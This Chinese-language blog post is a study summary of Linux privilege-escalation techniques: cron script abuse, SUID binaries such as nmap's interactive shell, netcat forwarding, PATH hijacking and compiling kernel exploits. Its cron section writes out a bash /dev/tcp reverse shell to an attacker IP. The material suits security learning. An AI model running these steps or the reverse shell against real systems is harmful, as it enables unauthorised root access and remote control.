zoukankan      html  css  js  c++  java
  • Linux 提权学习小结

    参考文章

    Linux提权:从入门到放弃

    前言

    粗略地看了一下,Windows 提权方式相较于 Linux 多太多了。所以先搞搞 Linux 提权。

    基本知识

    这是使用ls -l命令得到的结果,通过此方式可以看到各用户对文件的权限

    drwxr-xr-x  4 kali kali    4096 Jun  7 12:13  CVE-2020-0796
    -rw-r--r-- 1 kali kali 2419716 Aug 17 06:14  result.txt
    
    # 其中第一列各个字母/符号分别代表
    -   表示无
    d   表示这是一个目录,当然还有其他形式,如 l、b、c、p、s
    r   可读,4
    w   可写,2
    x   可执行,1
    
    # 第二列表示文件的硬链接数
    # 第三/四列表示:文件(目录)拥有者、文件(目录)拥有者所在的组
    # 后面的分别表示文件大小、创建时间以及名称
    

    可以看到,第一列表示文件属性及权限的共有 10 个字符,除去第一个表示其是否为目录外
    另外 9 个被分为 3 组,分别代表 拥有者权限所在组权限其他用户权限

    可以使用 chmod 命令设置权限,例如 chmod -R 777 test-R 表示是对目录修改权限,当当前用户与文件所属用户不相符时,便没有权力更改这些属性

    信息搜集工具:
    linuxprivchecker
    linux-exploit-suggester

    exp 库:
    Exploit-db
    Linux 提权漏洞集合

    方式

    前提:有一个低权限的 shell,并能上传/下载文件

    基于密码的提权

    在前期对目标的信息搜集可能会得到一些存储着用户密码的文件,或者是在数据库中能得到一些账号密码。极有可能管理员会复用这些密码。于是便可以直接在 shell 中使用 sudo 命令(SSH 中不可用)尝试提权至管理员权限。还有就是查看一下桌面上的文件,有时候管理员为了方便记忆,会把一些账号密码放在桌面上的文件里。还有浏览器里面可能会存密码!

    计划任务提权

    一个简单但是不常见的方式。

    系统内可能会有一些定时执行的任务,一般这些任务由 crontab 来管理,具有所属用户的权限。非 root 权限的用户是不可以列出 root 用户的计划任务的。但是 /etc/ 内系统的计划任务可以被所有用户列出

    使用:ls -l /etc/cron*

    默认这些程序以 root 权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本反弹 shell 什么的了

    例如发现一个这样的计划任务:

    -rwxrwxrw- 1 root root 2419716 Aug 17 06:14  corn
    

    发现其所有用户可读可写,于是便可以在其中添加 bash -i >& /dev/tcp/192.168.230.136/2333 0>&1 来反弹 shell,在攻击机上监听,当管理员登陆时,即可得到一个 root 权限的 shell

    SUID 提权

    SUID 是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

    当以 root 身份给 SUID.py 文件执行 chmod u+s SUID.py 或者 chmod 4755 SUID.py 后,可以得到具有如下权限的文件

    -rwSr-xr-x 1 root root        0 Aug 21 00:59 SUID.py     # 可以看到,代表 拥有者组 执行权限的字符变成了 S,且普通用户也有执行权限
    

    当普通用户执行带有 S 标志位的可执行文件时,便会以文件拥有者 root 的权限执行的
    可以通过如下命令 find / -user root -perm -4000 -print 2>/dev/null 得到这种类型的文件

    常见的有提权功能的 Linux 可执行文件有:

    Nmap
    Vim
    find
    Bash
    More
    Less
    Nano
    cp
    

    例如 nmap:

    较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell

    具体操作:

    nmap -interactive  # 进入交互模式
    nmap> !sh  # 提供一个 root 权限的 shell 
    

    更多具体操作可以看这篇文章 Linux提权——利用可执行文件SUID

    网络与隐藏的服务

    有一些服务器的服务会被配置成对内网或者对本机开放。通过对他们的攻击我们有机会接触更多的敏感文件,或是运气足够好碰上一个远程 root 漏洞。

    netstat -antup       # 查看各种网络服务,如果找到些神秘的服务,可以用 netcat 做个转发
    
    # 转发
    mkfifo backpipe
    nc -l 本地神秘服务端口 0<backpipe | nc 远程IP 端口 1>backpipe
    

    环境变量提权

    什么是环境变量:

    环境变量相当于给系统或用户应用程序设置的一些参数,具体起什么作用和具体的环境变量相关。比如 path,是告诉系统,当要求系统运行一个程序而没有告诉它程序所在的完整路径时,系统除了在当前目录下面寻找(Linux 系统不会在当前目录下寻找,而实直接在环境变量里找)此程序外,还应到哪些目录下去寻找
    PATH 便是 Linux 中的一个环境变量,用于指定存储可执行程序的所有 bin 和 sbin 目录,当用户在终端上执行任何命令时,它会通过 PATH 变量来响应用户执行的命令,并向 shell 发送请求以搜索可执行文件

    简言之:比如你在终端中输入一个 nmap 命令,其实是执行一个二进制文件,按下回车之后,系统便会去 PATH 指定的目录下寻找一个叫做 namp 的可执行文件,找到了便会执行该文件,找不到则提示没有该文件/命令

    可以通过 echo $PATH 查看 PATH 环境变量

    /usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games   # 以 : 作为分割符, . 代表当前目录
    

    示例:
    root 用户在 /temp 目录下编译了这样一个 shell.c 程序,得到一个叫做 shell 的可执行文件,并且执行了 chmod u+s shell 为其添加了 SUID 属性

    #include<stdlib.h>
    #include <unistd.h>
    void main()
    {
    setuid(0);
    system("ps");
    }
    

    得到:-rwSr-xr-x 1 root root 0 Aug 21 00:59 shell

    此时攻击者取得了一个低权限的 shell,通过 find / -perm -u=s -type f 2>/dev/null,搜索具有 SUID 或 4000 权限的文件,发现

    /temp/shell
    

    并且同样也找到了它的源文件 shell.c
    发现它使用了 system 函数,由于 system 函数是继承环境变量的,因此便可以通过替换环境变量可以达到执行任意命令的效果。

    • 获取一个 root 权限的 shell
      具体命令操作:
    cd /tmp                  # 首先切换到该目录下
    echo "/bin/sh" > ps      # 伪造一个 ps 文件
    chmod 777 ps             # 赋予所有用户所有权限
    export PATH=/tmp:$PATH   # 将 /temp 添加到环境变量
    ./shell                  # 执行 shell 文件
    

    解释:
    1.前提,c 程序中使用 system 函数调用了 ps 命令,由于 system 函数是继承环境变量的(即相当于在终端中执行命令),所以在执行 ps 时会去环境变量指定的目录中寻找一个叫 ps 的可执行文件
    2.攻击者通过echo "/bin/sh" > pschmod 777 ps 在 /temp 目录下伪造了一个叫做 ps 的可执行文件
    3.然后,通过 export PATH=/tmp:$PATH 将 /temp 目录加到了环境变量中,由于系统寻找可执行文件的时候是从指定的目录中一个个找的,谁写在前面便会先去这个目录找,找到了就不继续找,找不到再继续去下一个目录找,直到没找到
    4.执行./shell 命令时,程序先去环境变量指定的第一个文件夹(/temp)中寻找一个叫 ps 的可执行文件,由于事先伪造好了这样一个文件,于是该程序便会执行这个假的 ps 文件
    5.而文件内容为 /bin/sh ,且该文件是由管理员创建具有 SUID 属性,执行时便以 root 权限执行,最终便得到了一个 root 权限的 shell,就相当于 root 用户在终端中执行了 /bin/sh

    总结下来:
    1.需要一个有 SUID 属性的文件
    2.需要了解到文件的源码,且其中要有可被利用的特殊函数
    3.什么鬼,这么难利用,放弃,卒

    内核提权

    怎么说呢, Linux 提权还是以内核提权为主,其他提权方式要求的前提太多。

    首先,基础的信息收集:

    # 查看内核版本
    uname -a
    
    # 查看发行版
    cat /etc/issue
    cat /etc/*-release
    

    例如:

    Linux ruion-PC 4.15.0-30deepin-generic #31 SMP Fri Nov 30 04:29:02 UTC 2018 x86_64 GNU/Linux
    # 内核版本(4.15.0),cpu 架构(x86_64),和发行版(Deepin 15.11)
    

    得到这些信息后,便可以通过 kali 中的 searchspoit 查找 exploitdb 中的漏洞利用代码

    searchsploit linux priv esc 4.15 Deepin 15
    


    然后,查看结果的具体要求的筛选过程,大部分 exp 都会写清生效条件
    然后下载 exp 在被攻击机上编译、执行
    当被攻击机上没有 gcc 编译器的时候,就需要本地搭建类似环境进行编译后上传可执行文件再执行

    gcc exp.c -o exp
    chomd 777 exp
    ./exp
    

    当然也可以使用前文给的两个信息搜集工具进行搜集

  • 相关阅读:
    轻配置 Vim
    PHP 使用 wkhtmltopdf/image 把HTML页面转换成 PDF/image 文件
    使用 Mailgun 实现 带附件的Email 发送功能
    LinkedIn 第三方登录(JavaScript SDK)
    react学习2
    前端面试题
    react学习
    前端面试-字符串-逆序-间隔
    前端文件上传相关知识
    js原型prototype问题
  • 原文地址:https://www.cnblogs.com/wjrblogs/p/13529907.html
Copyright © 2011-2022 走看看